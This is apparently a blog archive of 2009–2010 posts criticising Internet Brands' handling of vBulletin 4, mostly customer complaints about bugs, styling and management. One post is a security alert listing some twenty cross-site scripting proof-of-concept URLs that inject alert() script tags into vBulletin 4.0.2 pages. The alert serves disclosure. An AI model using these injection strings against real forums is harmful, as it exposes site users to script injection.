vBTruth

Shining Light on Internet Brand's Disaster

Archive for the ‘vBulletin’ category

What Internet Brands needs to do to fix vBulletin – by Off-Topic

March 16th, 2010

If IB were able to get Kier back to developing vBulletin in his original role and a couple of the others, let’s say… out with the new, in with the old it would restore a lot of peoples faith. I am not saying current developers suck (I feel quite sorry for them), though the management decisions do. I’d love to see the old vBulletin team back together, they might not fix this mess over night but I dare say a lot of customers would stick around for their fix up rather than IBs. (Hence some going to IPB). I am on a fine line myself, the whole customization of themes is getting on my nerves more and more, slowly.

I am not a “theme” developer, yes I build websites but I don’t sell themes. vB 3 was easily customizable, vB4 is not. And I am having more and more doubts that StyleVars (even as a complete system) would make things any better. I personally think StyleVars was a very sensitive thing to put in or not. Converting the template to all CSS is one thing, but I think they should have only done that and kept the old system. Not a complete overhaul at once given IB have said VB4 comes in installments anyway. StyleVars being incomplete/buggy/etc = kills all development. Having to redevelop it, while it might prove successful runs the chance of throwing everyone off, again.

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Posted in Commentary, Internet Brands, vBulletin

I Moved to Invision Power Board – by JaimieinNH

March 15th, 2010

Sadly i joined the ranks of those that bought into the hype and found it less that desirable so I have moved to IPB.

Is it perfect? No.
Do they listen to their customers? Yes.
Will they make mistakes? Yes.
Is their product better than vB? Depends on what you’re really looking for/at.

For me, I came to vB because it was known to be the best.. using that name I bought into the vB 4.0 being bigger and better…. then came the day the site went down and their main site changed to that wonderful splash page and I was excited… and then the forums opened… sad is what I was feeling. The design, the 1st impressions was horrible.

It doesn’t take much to see that the customers here aren’t listened to unless there are a number of people screaming.. Support is lacking because of the path they (IB) have chosen and it shows.. People that have been running forums forever are having troubles with this new script and in the end I just couldn’t wait for a stable release. (stable meaning everything works and everything they said I would get was there)

So I chose to move to IPB. So far it’s been great, just looking at the pre-sales forum you will see the amount of time they spend with the community, listening, helping and communicating.. Take some time and compare pre-sales here and pre-sales there to see the difference.

For vB for become the leader again they will have to learn that the customer is always right and we have been telling you where you are going wrong for months now… it started with the leak slides and you had a chance to stop, listen and do the right thing, instead you moved forward as fast as you could and look where that’s gotten you.

Time will tell the grand affect… as we all have bought the vB 4.0 license which grants us use through the next version… it will be interesting to see what your sales are when vB 5.0 comes out.

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Posted in Internet Brands, Jelsoft, vBulletin

Why we ditched vb4 – by nightbloom

March 15th, 2010

Yes, we ditched vBulletin 4 and regret deeply upgrading. It wasnt the cost that made us work so hard to use it although that was a factor in us trying so hard to make it work for us. I have just always been the kind of person that goes for the best and in the past, vBulletin software was the best.

I was very disappointed in this release.

The CMS you gave us isnt a CMS at all, its like a cheap newspaper script. A lot of people would have rather seen vBulletin allow easy integration with Joomla or at least a CMS that had some functionality other than straight articles with some simple blocks down the side. VBulletin’s CMS is ugly, blocky, plain and lacks even rudimentary means of customization.

The forum is slow and uses too many queries. Members that had older computers had a hard time navigating the overly busy layout that was STOCK. While the CMS was by far the biggest disappointment for me, the forum software itself was a letdown. Skinning it to look like anything but recolored stock is a nightmare and gave it inexplicable bugs. (example: turning on “store CSS as files” would make some things work and other things error, turning it off has the same result.)

So I gave it time. Used it. Added stuff, took stuff away, tried to pare down the add ons to decrease load times but it just wasn’t working. So once again we have installed Joomla and PHPBB3 and functionality is better, looks have improved greatly and load time is down to 3 seconds.

Maybe vBulletin 4 is good for programmers or people who really understand the coding? I’m not either of those people. I just run a website for my gaming buddies and your software no longer seems made for someone like me or my visitors.

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Posted in Internet Brands, vBulletin

79 Days, 14 Hours, 30 Minutes Since vBulletin 4

March 11th, 2010

At the time of my writing this post, it has been 79 days, 14 hours, 30 minutes since vBulletin 4 came out. It’s also been the same amount of time I’ve been using vBulletin 4 internally on my local server. It’s also been 79 days of hell.

Throughout these last 79 days, I’ve been fighting bugs, fighting with the lack of features, and last but not least, fighting the lack of functionality.

I was a skeptic to be honest when Internet Brands acquired Jelsoft. At first it seems like a great move, however I now have adequate proof Internet Brands is not the godsend they claimed to be. Looking at our 79th day since vBulletin 4 has been released, we’ve regressed.

vBulletin 4 is worse than IPB.
vBulletin 4 is worse than phpBB.
vBulletin 4 is worse than SMF.

To be blunt, vBulletin 4 just plain sucks. It does not deserve to be called the leader in community solutions. It’s lost it shine. No longer is it “instant community”, but more to the point, instant hell and disaster.

Support is lackluster at best. Attempting to run vBulletin 4 in production mode is beyond unbearable. It’s torture. Not even tolerable.

The bugs are so bad that I would equate it with an infestation.

Note: I have the utmost respect for the current vBulletin Developers, and Project Leaders. Given the mess Joe and Bob has made, it’s a wonder itself that vBulletin 4 functions even at all.

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Posted in Internet Brands, Jelsoft, vBulletin

vBulletin 4 – This is ridiculous – by Wilfred1

March 9th, 2010

The simple, unedited truth.

Sorry guys but I have just got to say something about v4 and it takes a lot for me say something but I am just completely frustrated with this software now.

For the last couple of weeks I have been trying to use it and make my site presentable and every darn thing I try becomes a nightmare of effort. The simplest of things that you could do in just a couple of minutes in 3.8 takes 10 times as long – trying to figure out what css does what with some css changes being made in stylevar but that isn’t complete, some css changes in templates but then they all conflict and hard to follow – everything is just so half baked that a person has no idea what does what anymore. And, don’t get me started on these vb functions taking away php standard lines.

What you have achieved now is made vbulletin only for developers and not the bulk of your clients which are those average people that would like to set up a forum and make their changes in an easy to understand and follow system.

You may say well why upgrade? – because if I don’t I will become like one of the many average users that seem to be leaving v4 and who will end up in time completely leaving vb all together.

Why couldn’t you have just made one major change and done it properly so your customers could get use to it and understand it and then another major change in 12 months etc?

Sorry but I just had to get this off my chest because I am just so darn frustrated with not being able to do the simplest of things properly and easily within the design of the software anymore. I have a fantastic v3.8 site, I am not a developer thus one of your majority of customers, and finding it impossible to make my site v4.

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Posted in Commentary, Internet Brands, vBulletin

Security Alert: Multiple XSS Vulnerabilities in Internet Brands’s vBulletin 4 Forum and vBulletin 4 Suite

February 22nd, 2010

Vendor: Internet Brands (NASDAQ: INET)
Product: vBulletin 4 Forum, vBulletin 4 Suite
Version: 4.0.2
Vector of Attack: Cross Site Scripting
Source: Inje3ct0r, vBulletin.com

Details:

# Exploit :

http://127.0.0.1/upload/calendar.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/faq.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/forum.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/usercp.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/subscription.php?

acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/showthread.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/showgroups.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/sendmessage.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/search.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/register.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/profile.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/private.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/online.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/newthread.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/misc.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/memberlist.php?=>”‘><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/member.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/inlinemod.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/index.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/forumdisplay.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>

Additional vulnerabilities found by vBulletin Forum Members

http://127.0.0.1/upload/content.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

http://127.0.0.1/upload/blog.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

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Posted in Internet Brands, vBulletin

Tags: Internet Brands security flaw vBulletin xss

We’re Back.. but vBulletin’s Not

February 3rd, 2010

Chronos and I both decided after vBulletin 4 went gold, we’d disappear into the shadows to do what we do best: observe. What have we observed during our writing absence? Chaos. Confusion. Backlash. Bugs. Customer Disappointment. Frustration. Disappointment.

As an auditor, I’ve been often asked to audit programs and the scope that’s been undertaken. I’ve also sat back occasionally as part of my audit scope to do a complete quality assurance check on software that is intended to be released into production. I find bugs and send them off to QA, but it has been an indicator to me as how a project is being managed, as well as an indicator to determine its current project state. It’s shameful that vBulletin 4 was released in such a state. The application itself shows too many signs of software bugs and glitches floating around all over the place. In my opinion, I would never have approved the release of vBulletin 4.

As I sit back and tinker in a closed beta environment on my localhost server, I could not and would not approve vBulletin 4 being utilized on any of my client’s sites (or my own for that matter). There is simply far too much risk involved in utilizing that’s still quite buggy.

My frustrations with Internet Brands is ever growing. As an auditor, I would likely be writing reports like mad and ensuring senior management is held accountable. However, seeing as I’m not Internet Brands auditor, my own position is one of a customer. As a customer, I am livid, furious, and insanely upset that Internet Brands would sell me a software that is flawed far worse than Windows Vista. More to the point, I’m extremely frustrated that senior management, in particular Bob Brisco, and Joe Rosenblum, have not taken responsibility, nor attempt to signal to stakeholders that this fiasco is being addressed and rectified. Instead, they’ve done their marketing campaign and have decided to hide from the wrath of customers.

I quite understand that software bugs are a part of any development of any application. I also understand it never will be perfect, but I’ve often chimed in my reports to various software companies that bugs need to be managed and controlled properly. If they ever become a significant issue, they can and will hinder functionality. Furthermore, they will cause backlash and create trust issues that will resonate for years to come.

The point of doing bug fixing is to get rid of those bugs. It’s to ensure the software is 99.99% functional for the most common setups.

Looking at some of the bug reports inside the Project Tools, several bugs I’ve found were documented AFTER the release of vBulletin 4 Gold. Some of these bugs are clearly obvious and are simply shameful as a 14 year old would have caught them. It’s appalling.

My question to you Internet Brands: Who did the quality assurance and wrote the quality assurance plan? It is obvious that QA wasn’t performed properly. It’s clear we’re paying more for vBulletin for more bugs, and less functional software.

4 comments »

Posted in Commentary, Internet Brands, vBulletin

vBulletin 4x – We Want More – ASAP!?

February 3rd, 2010

vBulletin 4x – We Want More – ASAP!? Or do we?

Let’s take a look back and do a quick review.

First we get the release of vBulletin 4.0 Gold. This build of vB 4.0.0 is plagued with bugs and known issues, yet it’s still released. Then we get vB 4.0.0 PL1, which is a release patch to fix a newly discovered exploit. This takes us to vB 4.0.1, which is a “maintenance release” that fixed 200+ bugs.
Finally, this brings us to 4.0.2, which was supposed to have been released February 4th, 2010 (now delayed).

The mentality used by IB is amusing, but not at all surprising. Instead of focusing on releasing a solid, stable build, they are merely pumping out versions as quickly as they can, and releasing them prematurely, even when they are clearly not ready to be deployed due to known bugs.

Only now with the delay of the 4.0.2 release have they actually held off releasing it to provide a more “quality” build. Maybe they finally learned their lesson that quality > quantity? We’ll soon find out.

@IB, you disappoint me, yet again. Dare I say, we told you so?
I would highly suggest you take a page out of the old vB team and focus on building a quality product. The old Jelsoft actually valued and knew the importance of releasing a solid build instead of just releasing as many, and bug filled versions as they could.

1 comment »

Posted in Commentary, Internet Brands, Jelsoft, vBulletin

vBulletin 4 – Revolutionary or Disturbingly Flawed?

December 24th, 2009

Twas the day before Christmas
and all through the net
vBulletin admins banging their heads
Installation’s has started for vBulletin 4
In hopes that it will succeed, once and for all

Once installed, the admins sighed in relief
and begins to tinker, then much to his disbelief
not one, but hundreds of bugs did appear
and it’s wrecked their Christmas cheer.

Then with a fury he curses at once
he runs for support just to fix the matter
To his surprise he’s not alone
that this bug was found long, long ago.

The poem’s a bit overly dramatic, but it’s rather fitting based on the struggles Chronos and I have seen this week. It’s been four days since vBulletin 4 came out, and it appears it has been a miserable four days. Bugs galor, customers crying foul, requirements not met (which is the biggest concern as any excellent systems developer would know you must achieve a good percentage of them). And the there’s the occasional cheer, and celebration saying vBulletin 4 is rather golden.

vBulletin is a marvelous product. vBulletin 4, however, leaves a bitter taste in my mouth. There are far too many mis-use cases that were not accounted for, thus breaking the entire information system.

I will be the first to say that we as customers should have held Internet Brands accountable. Clearly Internet Brands dropped the ball, and now we’re dealing with an incomplete, half-baked, second rate, forum and CMS.

I’m going to pose the question to everyone out there: What do you think of vBulletin 4? The blunt, brutal hard truth. Is it worth the price, time, and energy in buying, installing, and/or upgrading to? What would you tell to future investors? Or what would you tell to future customers?

Comment away.

7 comments »

Posted in Internet Brands, Jelsoft, vBulletin

Internet Brand’s Investment Nightmare: vBulletin

December 9th, 2009

Internet Brands operates communities for anyone to speak. But more importantly, are they truly listening to their customers and what they are saying?

When dealing with any investment, there is risk. Does Internet Brands understand how much risk they've undertaken? Is Internet Brands those managing risks well?

I’ve often wondered why some the senior development team for vBulletin suddenly left without any advance warning. In one short month, Kier Darby, Mike Sullivan, and Scott Macvicar all left Internet Brands. In that one month, it represented a significant loss of talent, senior management, and senior development of vBulletin. These three represent the brains of vBulletin. They represent the integrity of vBulletin. They represent the key development and leadership of a industry icon. They understood customer’s requirements. They understood the customer. Last but not least, this trio understood vBulletin.

These questions have been racing in my mind. Why did they leave? What possible reasons could they have left? Was it because Internet Brands (Nasdaq: INET) acquired them? Was it because of management? Was it because they no longer liked working at Jelsoft and Internet Brands? Was it because they became merely a cog in this giant machine? Or maybe rather than job enlargement and enrichment, they experienced job reduction and dissatisfaction?

Finally, that silence has been broken. It appears what we’ve suspected all along happened. I hoped this wasn’t the case, however, my own nightmare, suspicions, and fears have been confirmed.

Internet Brands meddled where they should not have. They’ve roasted, and killed the goose that laid the golden eggs. It is the classic management case study in which employees leave because of management, not because of the company.